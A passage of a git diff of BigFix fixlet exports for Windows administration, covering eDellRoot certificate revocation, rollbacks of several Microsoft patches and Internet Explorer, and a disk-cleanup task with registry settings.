+appendfile   7b,02,74,a8,80,a2,29,12,70,f0,16,8f,46,cc,d2,f9,ac,3f,ff,10,4a,54,ce,06,a3,\
+appendfile   be,40,54,3a,47,cd,81,b5,3b,c1,35,4d,ea,6d,52,02,57,84,0e,6e,cc,62,6f,ef,85,\
+appendfile   00,52,f9,e8,d0,29,3e,ab,24,83,b5,73,2d,f3,48,02,32,9a,6c,75,1c,8d,bb,99,92,\
+appendfile   68,3a,8e,be,01,7d,85,bb,fa,84,03,1c,2b,18,80,00,e3,8c,a1,9d,2b,3f,fc,53,f7,\
+appendfile   cf
+
+move __appendfile revoke.eDellRoot.reg
+waithidden regedit /s revoke.eDellRoot.reg
+</ActionScript>
+    </Action>
+    <Action ID="Action6895">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to see the article published by Official Dell Corporate Blog. </PostLink>
+      </Description>
+      <ActionScript MIMEType="text/x-uri">http://en.community.dell.com/dell-blogs/direct2dell/b/direct2dell/archive/2015/11/23/response-to-concerns-regarding-edellroot-certificate</ActionScript>
+    </Action>
+  </Fixlet>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Roll Back_ MS11-021 (KB2501584) (1412).bes b/Sites/Windows Management/Fixlets/Fixlets/Roll Back_ MS11-021 (KB2501584) (1412).bes
index 74e507218..c091edaac 100644
--- a/Sites/Windows Management/Fixlets/Fixlets/Roll Back_ MS11-021 (KB2501584) (1412).bes	
+++ b/Sites/Windows Management/Fixlets/Fixlets/Roll Back_ MS11-021 (KB2501584) (1412).bes	
@@ -1,46 +1,46 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<!--
-  BigFix Task Export
-
-  Title    : Roll Back: MS11-021 (KB2501584)
-  ID       : 1412
-  Author   : 55FDC13E-285A-4207-97E8-32E29239932A
-  Domain   : BESC
-  Imported : 2013-02-20T10:55:59
-  Source   : bigfixm1_main @ BES-Root
--->
-<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
-  <Task>
-    <Title>Roll Back: MS11-021 (KB2501584)</Title>
-    <Description><![CDATA[<FONT face=Verdana color=#333333><FONT face=Verdana color=#333333><FONT face=Verdana color=#333333>
-<P align=left><STRONG><FONT size=2>This&nbsp;task is to&nbsp;prevent the MS11-021 patch bug&nbsp;from causing Microsoft Excel to open slowly and or crash as defind in the following article:</FONT></STRONG></P>
-<P align=left><FONT size=2>The Office File Validation Add-In for Office 2003 and Office 2007 has appeared on Microsoft</FONT></P>
-<P align=left><FONT size=2>Update (</FONT></FONT></FONT></FONT><FONT face=Verdana color=#0065de><FONT face=Verdana color=#0065de><FONT face=Verdana color=#0065de size=2><A href="http://support.microsoft.com/kb/2501584/">KB2501584</A></FONT></FONT></FONT><FONT face=Verdana color=#333333><FONT face=Verdana color=#333333><FONT face=Verdana color=#333333><FONT size=2>) as an important update. However,&nbsp;it has a negative effect when opening large</FONT></P>
-<P align=left><FONT size=2>.XLS files from network shares using Excel 2003. Some large files that have opened in&nbsp;seconds</FONT></P>
-<P align=left><FONT size=2>before the add-in is installed now take ten minutes afterwards. The same file copied to the</FONT></P>
-<P align=left><FONT size=2>local drive will open in&nbsp;seconds again. This is admitted in </FONT><A href="http://support.microsoft.com/kb/2501584/"><FONT size=2>KB2501584</FONT></A><FONT size=2> under known issues: "Opening files from a</FONT></P>
-<P align=left><FONT size=2>network share that have many charts or points of data will take longer to open in Office</FONT></P>
-<P><FONT size=2>2003".</FONT></P>
-<P><STRONG><FONT size=2>Please see Microsoft Support article&nbsp;</FONT></STRONG><A href="http://support.microsoft.com/kb/2570623"><STRONG><FONT size=2>http://support.microsoft.com/kb/2570623</FONT></STRONG></A><STRONG><FONT size=2>&nbsp;for more information.</FONT></STRONG></P></FONT></FONT></FONT>]]></Description>
-    <Relevance>((name of it = &quot;WinXP&quot;) AND service pack major version of it = 3) of operating system</Relevance>
-    <Relevance>EXISTS regapp &quot;EXCEL.EXE&quot;</Relevance>
-    <Relevance><![CDATA[version of regapp "EXCEL.EXE" <= "11" as version]]></Relevance>
-    <Relevance>EXISTS value &quot;UninstallString&quot; OF key &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{90140000-2005-0000-0000-0000000FF1CE}&quot; OF registry</Relevance>
-    <Source>Internal</Source>
-    <SourceReleaseDate>2011-07-25</SourceReleaseDate>
-    <SourceSeverity>Important</SourceSeverity>
-    <MIMEField>
-      <Name>x-fixlet-modification-time</Name>
-      <Value>Mon, 01 Aug 2011 15:57:49 +0000</Value>
-    </MIMEField>
-    <Domain>BESC</Domain>
-    <DefaultAction ID="Action1">
-      <Description>
-        <PreLink>Click </PreLink>
-        <Link>here</Link>
-        <PostLink> to deploy this action.</PostLink>
-      </Description>
-      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">waithidden {pathname of system folder}\MsiExec.exe /X{{90140000-2005-0000-0000-0000000FF1CE} /qn</ActionScript>
-    </DefaultAction>
-  </Task>
-</BES>
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Task Export
+
+  Title    : Roll Back: MS11-021 (KB2501584)
+  ID       : 1412
+  Author   : 55FDC13E-285A-4207-97E8-32E29239932A
+  Domain   : BESC
+  Imported : 2013-02-20T10:55:59
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Task>
+    <Title>Roll Back: MS11-021 (KB2501584)</Title>
+    <Description><![CDATA[<FONT face=Verdana color=#333333><FONT face=Verdana color=#333333><FONT face=Verdana color=#333333>
+<P align=left><STRONG><FONT size=2>This&nbsp;task is to&nbsp;prevent the MS11-021 patch bug&nbsp;from causing Microsoft Excel to open slowly and or crash as defind in the following article:</FONT></STRONG></P>
+<P align=left><FONT size=2>The Office File Validation Add-In for Office 2003 and Office 2007 has appeared on Microsoft</FONT></P>
+<P align=left><FONT size=2>Update (</FONT></FONT></FONT></FONT><FONT face=Verdana color=#0065de><FONT face=Verdana color=#0065de><FONT face=Verdana color=#0065de size=2><A href="http://support.microsoft.com/kb/2501584/">KB2501584</A></FONT></FONT></FONT><FONT face=Verdana color=#333333><FONT face=Verdana color=#333333><FONT face=Verdana color=#333333><FONT size=2>) as an important update. However,&nbsp;it has a negative effect when opening large</FONT></P>
+<P align=left><FONT size=2>.XLS files from network shares using Excel 2003. Some large files that have opened in&nbsp;seconds</FONT></P>
+<P align=left><FONT size=2>before the add-in is installed now take ten minutes afterwards. The same file copied to the</FONT></P>
+<P align=left><FONT size=2>local drive will open in&nbsp;seconds again. This is admitted in </FONT><A href="http://support.microsoft.com/kb/2501584/"><FONT size=2>KB2501584</FONT></A><FONT size=2> under known issues: "Opening files from a</FONT></P>
+<P align=left><FONT size=2>network share that have many charts or points of data will take longer to open in Office</FONT></P>
+<P><FONT size=2>2003".</FONT></P>
+<P><STRONG><FONT size=2>Please see Microsoft Support article&nbsp;</FONT></STRONG><A href="http://support.microsoft.com/kb/2570623"><STRONG><FONT size=2>http://support.microsoft.com/kb/2570623</FONT></STRONG></A><STRONG><FONT size=2>&nbsp;for more information.</FONT></STRONG></P></FONT></FONT></FONT>]]></Description>
+    <Relevance>((name of it = &quot;WinXP&quot;) AND service pack major version of it = 3) of operating system</Relevance>
+    <Relevance>EXISTS regapp &quot;EXCEL.EXE&quot;</Relevance>
+    <Relevance><![CDATA[version of regapp "EXCEL.EXE" <= "11" as version]]></Relevance>
+    <Relevance>EXISTS value &quot;UninstallString&quot; OF key &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{90140000-2005-0000-0000-0000000FF1CE}&quot; OF registry</Relevance>
+    <Source>Internal</Source>
+    <SourceReleaseDate>2011-07-25</SourceReleaseDate>
+    <SourceSeverity>Important</SourceSeverity>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Mon, 01 Aug 2011 15:57:49 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to deploy this action.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">waithidden {pathname of system folder}\MsiExec.exe /X{{90140000-2005-0000-0000-0000000FF1CE} /qn</ActionScript>
+    </DefaultAction>
+  </Task>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Rollback Internet Explorer to version 9 (3706).bes b/Sites/Windows Management/Fixlets/Fixlets/Rollback Internet Explorer to version 9 (3706).bes
index f1ace2c14..2677f0984 100644
--- a/Sites/Windows Management/Fixlets/Fixlets/Rollback Internet Explorer to version 9 (3706).bes	
+++ b/Sites/Windows Management/Fixlets/Fixlets/Rollback Internet Explorer to version 9 (3706).bes	
@@ -1,35 +1,35 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<!--
-  BigFix Fixlet Export
-
-  Title    : Rollback Internet Explorer to version 9
-  ID       : 3706
-  Author   : 3FD90496-9646-4EF9-AA83-4F7E89B54964
-  Domain   : BESC
-  Imported : 2014-02-04T15:41:08
-  Source   : bigfixm1_main @ BES-Root
--->
-<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
-  <Fixlet>
-    <Title>Rollback Internet Explorer to version 9</Title>
-    <Description><![CDATA[<P>Rollback Internet Explorer to version 9</P>
-<P>This task requires a reboot upon completion. This task has been tested in 32 bit Windows 7.</P>]]></Description>
-    <Relevance><![CDATA[((name of it = "Win7") of operating system) and (version of regapp "iexplore.exe" > "9")]]></Relevance>
-    <Source>Internal</Source>
-    <SourceReleaseDate>2014-02-03</SourceReleaseDate>
-    <MIMEField>
-      <Name>x-fixlet-modification-time</Name>
-      <Value>Tue, 04 Feb 2014 22:37:24 +0000</Value>
-    </MIMEField>
-    <Domain>BESC</Domain>
-    <DefaultAction ID="Action1">
-      <Description>
-        <PreLink>Click </PreLink>
-        <Link>here</Link>
-        <PostLink> to deploy this action.</PostLink>
-      </Description>
-      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">wait cmd.exe /c FORFILES /P %WINDIR%\servicing\Packages /M Microsoft-Windows-InternetExplorer-*11.*.mum /c &quot;cmd /c start /w pkgmgr /up:@fname /quiet /norestart&quot;
-wait cmd.exe /c FORFILES /P %WINDIR%\servicing\Packages /M Microsoft-Windows-InternetExplorer-*10.*.mum /c &quot;cmd /c start /w pkgmgr /up:@fname /quiet /norestart&quot;</ActionScript>
-    </DefaultAction>
-  </Fixlet>
-</BES>
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Fixlet Export
+
+  Title    : Rollback Internet Explorer to version 9
+  ID       : 3706
+  Author   : 3FD90496-9646-4EF9-AA83-4F7E89B54964
+  Domain   : BESC
+  Imported : 2014-02-04T15:41:08
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Fixlet>
+    <Title>Rollback Internet Explorer to version 9</Title>
+    <Description><![CDATA[<P>Rollback Internet Explorer to version 9</P>
+<P>This task requires a reboot upon completion. This task has been tested in 32 bit Windows 7.</P>]]></Description>
+    <Relevance><![CDATA[((name of it = "Win7") of operating system) and (version of regapp "iexplore.exe" > "9")]]></Relevance>
+    <Source>Internal</Source>
+    <SourceReleaseDate>2014-02-03</SourceReleaseDate>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Tue, 04 Feb 2014 22:37:24 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to deploy this action.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">wait cmd.exe /c FORFILES /P %WINDIR%\servicing\Packages /M Microsoft-Windows-InternetExplorer-*11.*.mum /c &quot;cmd /c start /w pkgmgr /up:@fname /quiet /norestart&quot;
+wait cmd.exe /c FORFILES /P %WINDIR%\servicing\Packages /M Microsoft-Windows-InternetExplorer-*10.*.mum /c &quot;cmd /c start /w pkgmgr /up:@fname /quiet /norestart&quot;</ActionScript>
+    </DefaultAction>
+  </Fixlet>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Rollback Patch Task_ KB2871997  - Fix potential Kerberos problem - Windows7+ (3783).bes b/Sites/Windows Management/Fixlets/Fixlets/Rollback Patch Task_ KB2871997  - Fix potential Kerberos problem - Windows7+ (3783).bes
index c9ad3697c..f657b2ef7 100644
--- a/Sites/Windows Management/Fixlets/Fixlets/Rollback Patch Task_ KB2871997  - Fix potential Kerberos problem - Windows7+ (3783).bes	
+++ b/Sites/Windows Management/Fixlets/Fixlets/Rollback Patch Task_ KB2871997  - Fix potential Kerberos problem - Windows7+ (3783).bes	
@@ -1,58 +1,58 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<!--
-  BigFix Fixlet Export
-
-  Title    : Rollback Patch Task: KB2871997  - Fix potential Kerberos problem - Windows7+
-  ID       : 3783
-  Author   : jgstew
-  Domain   : BESC
-  Imported : 2014-05-14T12:35:28
-  Source   : bigfixm1_main @ BES-Root
--->
-<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
-  <Fixlet>
-    <Title>Rollback Patch Task: KB2871997 - Fix potential Kerberos problem - Windows7+</Title>
-    <Description><![CDATA[<P>This task will roll back the Microsoft Patch: KB2871997.&nbsp; This may fix a recent problem with Kerberos authentication with the dce.psu.edu realm. This may not be required on all systems.<BR><BR>This task is applicable on: Windows 7+</P>
-<P>&nbsp;</P>
-<P><STRONG>References:</STRONG></P>
-<P><A href="https://technet.microsoft.com/library/security/2871997">https://technet.microsoft.com/library/security/2871997</A></P>
-<P><A href="http://support.microsoft.com/kb/262841">http://support.microsoft.com/kb/262841</A></P>
-<P>&nbsp;</P>]]></Description>
-    <Relevance>/* Windows Only */ windows of operating system</Relevance>
-    <Relevance><![CDATA[/* Windows 7 or Higher */ version of operating system >= "6.1"]]></Relevance>
-    <Relevance>(exists key &quot;HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Component Based Servicing\Packages&quot; whose ( exists substrings before &quot;~&quot; whose (it contains &quot;KB2871997&quot; as uppercase AND it does not contain &quot;_&quot;) of substrings after &quot;for_&quot; of names of keys whose (name of it contains &quot;for_&quot;) of it) of native registry)</Relevance>
-    <Category>Rollback</Category>
-    <Source>Rollback Task Wizard</Source>
-    <SourceID>jgs194</SourceID>
-    <SourceReleaseDate>2014-05-14</SourceReleaseDate>
-    <MIMEField>
-      <Name>x-fixlet-source</Name>
-      <Value>Rollback Task Wizard</Value>
-    </MIMEField>
-    <MIMEField>
-      <Name>x-fixlet-modification-time</Name>
-      <Value>Wed, 14 May 2014 18:00:21 +0000</Value>
-    </MIMEField>
-    <Domain>BESC</Domain>
-    <DefaultAction ID="Action1">
-      <Description>
-        <PreLink>Click </PreLink>
-        <Link>here</Link>
-        <PostLink> to rollback the patch, requires reboot to complete.</PostLink>
-      </Description>
-      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">
-if {x64 of operating system}
-	wait {pathname of windows folder}\sysnative\wusa.exe /uninstall /kb:2871997 /quiet /norestart
-else
-	wait {pathname of system folder}\wusa.exe /uninstall /kb:2871997 /quiet /norestart
-endif
-
-
-dos wuauclt /detectnow
-dos wuauclt /reportnow
-
-action requires restart</ActionScript>
-      <SuccessCriteria Option="OriginalRelevance"></SuccessCriteria>
-    </DefaultAction>
-  </Fixlet>
-</BES>
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Fixlet Export
+
+  Title    : Rollback Patch Task: KB2871997  - Fix potential Kerberos problem - Windows7+
+  ID       : 3783
+  Author   : jgstew
+  Domain   : BESC
+  Imported : 2014-05-14T12:35:28
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Fixlet>
+    <Title>Rollback Patch Task: KB2871997 - Fix potential Kerberos problem - Windows7+</Title>
+    <Description><![CDATA[<P>This task will roll back the Microsoft Patch: KB2871997.&nbsp; This may fix a recent problem with Kerberos authentication with the dce.psu.edu realm. This may not be required on all systems.<BR><BR>This task is applicable on: Windows 7+</P>
+<P>&nbsp;</P>
+<P><STRONG>References:</STRONG></P>
+<P><A href="https://technet.microsoft.com/library/security/2871997">https://technet.microsoft.com/library/security/2871997</A></P>
+<P><A href="http://support.microsoft.com/kb/262841">http://support.microsoft.com/kb/262841</A></P>
+<P>&nbsp;</P>]]></Description>
+    <Relevance>/* Windows Only */ windows of operating system</Relevance>
+    <Relevance><![CDATA[/* Windows 7 or Higher */ version of operating system >= "6.1"]]></Relevance>
+    <Relevance>(exists key &quot;HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Component Based Servicing\Packages&quot; whose ( exists substrings before &quot;~&quot; whose (it contains &quot;KB2871997&quot; as uppercase AND it does not contain &quot;_&quot;) of substrings after &quot;for_&quot; of names of keys whose (name of it contains &quot;for_&quot;) of it) of native registry)</Relevance>
+    <Category>Rollback</Category>
+    <Source>Rollback Task Wizard</Source>
+    <SourceID>jgs194</SourceID>
+    <SourceReleaseDate>2014-05-14</SourceReleaseDate>
+    <MIMEField>
+      <Name>x-fixlet-source</Name>
+      <Value>Rollback Task Wizard</Value>
+    </MIMEField>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Wed, 14 May 2014 18:00:21 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to rollback the patch, requires reboot to complete.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">
+if {x64 of operating system}
+	wait {pathname of windows folder}\sysnative\wusa.exe /uninstall /kb:2871997 /quiet /norestart
+else
+	wait {pathname of system folder}\wusa.exe /uninstall /kb:2871997 /quiet /norestart
+endif
+
+
+dos wuauclt /detectnow
+dos wuauclt /reportnow
+
+action requires restart</ActionScript>
+      <SuccessCriteria Option="OriginalRelevance"></SuccessCriteria>
+    </DefaultAction>
+  </Fixlet>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Rollback Patch Task_ KB971033 (26600).bes b/Sites/Windows Management/Fixlets/Fixlets/Rollback Patch Task_ KB971033 (26600).bes
index 275e72bf9..37f36b867 100644
--- a/Sites/Windows Management/Fixlets/Fixlets/Rollback Patch Task_ KB971033 (26600).bes	
+++ b/Sites/Windows Management/Fixlets/Fixlets/Rollback Patch Task_ KB971033 (26600).bes	
@@ -1,46 +1,46 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<!--
-  BigFix Task Export
-
-  Title    : Rollback Patch Task: KB971033
-  ID       : 26600
-  Author   : bmafever
-  Domain   : BESC
-  Imported : 2019-01-25T11:09:53
-  Source   : bigfixm1_main @ BES-Root
--->
-<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
-  <Task>
-    <Title>Rollback Patch Task: KB971033</Title>
-    <Description><![CDATA[This task will roll back the Microsoft Patch: KB971033.<BR><BR>This task is applicable on: Windows 7, Windows 7 x64. ]]></Description>
-    <Relevance>( (exists key whose (name of it starts with &quot;x86_microsoft-windows-s..technologies-deploy_31bf3856ad364e35_none&quot; AND exists value &quot;7.1.7600.16395&quot; of keys of it) of it) of item 1 of it) of (key &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Component Based Servicing\Packages&quot; of it, key &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\SideBySide\Winners&quot; of it) of native registry OR (( (exists key whose (name of it starts with &quot;amd64_microsoft-windows-s..technologies-deploy_31bf3856ad364e35_none&quot; AND exists value &quot;7.1.7600.16395&quot; of keys of it) of it) of item 1 of it) of (key &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Component Based Servicing\Packages&quot; of it, key &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\SideBySide\Winners&quot; of it) of native registry)</Relevance>
-    <Relevance>((name of it = &quot;Win7&quot; AND not x64 of it AND NOT ia64 of it) of operating system OR (name of it = &quot;Win7&quot; AND x64 of it AND NOT ia64 of it) of operating system)</Relevance>
-    <Category>Rollback</Category>
-    <Source>Rollback Task Wizard</Source>
-    <SourceReleaseDate>2019-01-25</SourceReleaseDate>
-    <MIMEField>
-      <Name>x-fixlet-source</Name>
-      <Value>Rollback Task Wizard</Value>
-    </MIMEField>
-    <MIMEField>
-      <Name>x-fixlet-modification-time</Name>
-      <Value>Sat, 26 Jan 2019 06:00:28 +0000</Value>
-    </MIMEField>
-    <Domain>BESC</Domain>
-    <DefaultAction ID="Action1">
-      <Description>
-        <PreLink>Click </PreLink>
-        <Link>here</Link>
-        <PostLink> to deploy this action.</PostLink>
-      </Description>
-      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">if {x64 of operating system}
-wait {pathname of windows folder}\sysnative\wusa.exe /uninstall /kb:971033 /quiet /norestart
-else
-wait {pathname of system folder}\wusa.exe /uninstall /kb:971033 /quiet /norestart
-endif
-action requires restart
-</ActionScript>
-      <SuccessCriteria Option="RunToCompletion"></SuccessCriteria>
-    </DefaultAction>
-  </Task>
-</BES>
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Task Export
+
+  Title    : Rollback Patch Task: KB971033
+  ID       : 26600
+  Author   : bmafever
+  Domain   : BESC
+  Imported : 2019-01-25T11:09:53
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Task>
+    <Title>Rollback Patch Task: KB971033</Title>
+    <Description><![CDATA[This task will roll back the Microsoft Patch: KB971033.<BR><BR>This task is applicable on: Windows 7, Windows 7 x64. ]]></Description>
+    <Relevance>( (exists key whose (name of it starts with &quot;x86_microsoft-windows-s..technologies-deploy_31bf3856ad364e35_none&quot; AND exists value &quot;7.1.7600.16395&quot; of keys of it) of it) of item 1 of it) of (key &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Component Based Servicing\Packages&quot; of it, key &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\SideBySide\Winners&quot; of it) of native registry OR (( (exists key whose (name of it starts with &quot;amd64_microsoft-windows-s..technologies-deploy_31bf3856ad364e35_none&quot; AND exists value &quot;7.1.7600.16395&quot; of keys of it) of it) of item 1 of it) of (key &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Component Based Servicing\Packages&quot; of it, key &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\SideBySide\Winners&quot; of it) of native registry)</Relevance>
+    <Relevance>((name of it = &quot;Win7&quot; AND not x64 of it AND NOT ia64 of it) of operating system OR (name of it = &quot;Win7&quot; AND x64 of it AND NOT ia64 of it) of operating system)</Relevance>
+    <Category>Rollback</Category>
+    <Source>Rollback Task Wizard</Source>
+    <SourceReleaseDate>2019-01-25</SourceReleaseDate>
+    <MIMEField>
+      <Name>x-fixlet-source</Name>
+      <Value>Rollback Task Wizard</Value>
+    </MIMEField>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Sat, 26 Jan 2019 06:00:28 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to deploy this action.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">if {x64 of operating system}
+wait {pathname of windows folder}\sysnative\wusa.exe /uninstall /kb:971033 /quiet /norestart
+else
+wait {pathname of system folder}\wusa.exe /uninstall /kb:971033 /quiet /norestart
+endif
+action requires restart
+</ActionScript>
+      <SuccessCriteria Option="RunToCompletion"></SuccessCriteria>
+    </DefaultAction>
+  </Task>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Run a Full Disk Cleanup (6133).bes b/Sites/Windows Management/Fixlets/Fixlets/Run a Full Disk Cleanup (6133).bes
index 851926bd1..ad4407e21 100644
--- a/Sites/Windows Management/Fixlets/Fixlets/Run a Full Disk Cleanup (6133).bes	
+++ b/Sites/Windows Management/Fixlets/Fixlets/Run a Full Disk Cleanup (6133).bes	
@@ -1,170 +1,170 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<!--
-  BigFix Fixlet Export
-
-  Title    : Run a Full Disk Cleanup
-  ID       : 6133
-  Author   : etufarol
-  Domain   : BESC
-  Imported : 2015-07-28T03:24:14
-  Source   : bigfixm1_main @ BES-Root
--->
-<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
-  <Fixlet>
-    <Title>Run a Full Disk Cleanup</Title>
-    <Description><![CDATA[
-<TABLE><TBODY><TR><TD> <P></P></TD></TR></TBODY></TABLE>
-]]></Description>
-    <Relevance><![CDATA[version of client >= "8.2"]]></Relevance>
-    <Relevance>windows of operating system</Relevance>
-    <Relevance><![CDATA[version of operating system >= "5.1" as version]]></Relevance>
-    <Relevance><![CDATA[exists file (pathname of windows folder & "\system32\cleanmgr.exe")]]></Relevance>
-    <Source>Internal</Source>
-    <SourceReleaseDate>2015-05-19</SourceReleaseDate>
-    <MIMEField>
-      <Name>x-fixlet-first-propagation</Name>
-      <Value>Tue, 19 May 2015 09:44:13 +0000</Value>
-    </MIMEField>
-    <MIMEField>
-      <Name>x-fixlet-modification-time</Name>
-      <Value>Tue, 19 May 2015 09:44:13 +0000</Value>
-    </MIMEField>
-    <Domain>BESC</Domain>
-    <DefaultAction ID="Action1">
-      <Description>
-        <PreLink>Click </PreLink>
-        <Link>here</Link>
-        <PostLink> to deploy this action.</PostLink>
-      </Description>
-      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell"><![CDATA[
-action uses wow64 redirection {not x64 of operating system}
-if {version of operating system as version = "5.1"}
-	Createfile until end-reg-delete-compress-option
-		Windows Registry Editor Version 5.00
-		[-HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\VolumeCaches\Compress Old Files]
-	end-reg-delete-compress-option
-	move __createfile C:\cmpr.reg
-	wait regedit /s C:\cmpr.reg
-endif
-dos rmdir /Q /S "{name of drive of windows folder & "$RECYCLE.BIN"}
-
-Createfile until end-reg-edit-commands
-	Windows Registry Editor Version 5.00
-	[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\VolumeCaches\Active Setup Temp Folders]
-	"StateFlags1009"=dword:00000002
-	[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\VolumeCaches\Downloaded Program Files]
-	"StateFlags1009"=dword:00000002
-	[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\VolumeCaches\GameNewsFiles]
-	"StateFlags1009"=dword:00000002
-	[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\VolumeCaches\GameStatisticsFiles]
-	"StateFlags1009"=dword:00000002
-	[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\VolumeCaches\GameUpdateFiles]]
-	"StateFlags1009"=dword:00000002
-	[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\VolumeCaches\Internet Cache Files]
-	"StateFlags1009"=dword:00000002
-	[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\VolumeCaches\Memory Dump Files]
-	"StateFlags1009"=dword:00000002
-	[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\VolumeCaches\Offline Pages Files]
-	"StateFlags1009"=dword:00000002
-	[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\VolumeCaches\Old ChkDsk Files]
-	"StateFlags1009"=dword:00000002
-	[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\VolumeCaches\Previous Installations]
-	"StateFlags1009"=dword:00000002
-	[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\VolumeCaches\Service Pack Cleanup]
-	"StateFlags1009"=dword:00000002
-	[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\VolumeCaches\Setup Log Files]
-	"StateFlags1009"=dword:00000002
-	[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\VolumeCaches\System error memory dump files]
-	"StateFlags1009"=dword:00000002
-	[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\VolumeCaches\System error minidump files]
-	"StateFlags1009"=dword:00000002
-	[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\VolumeCaches\Temporary Files]
-	"StateFlags1009"=dword:00000002
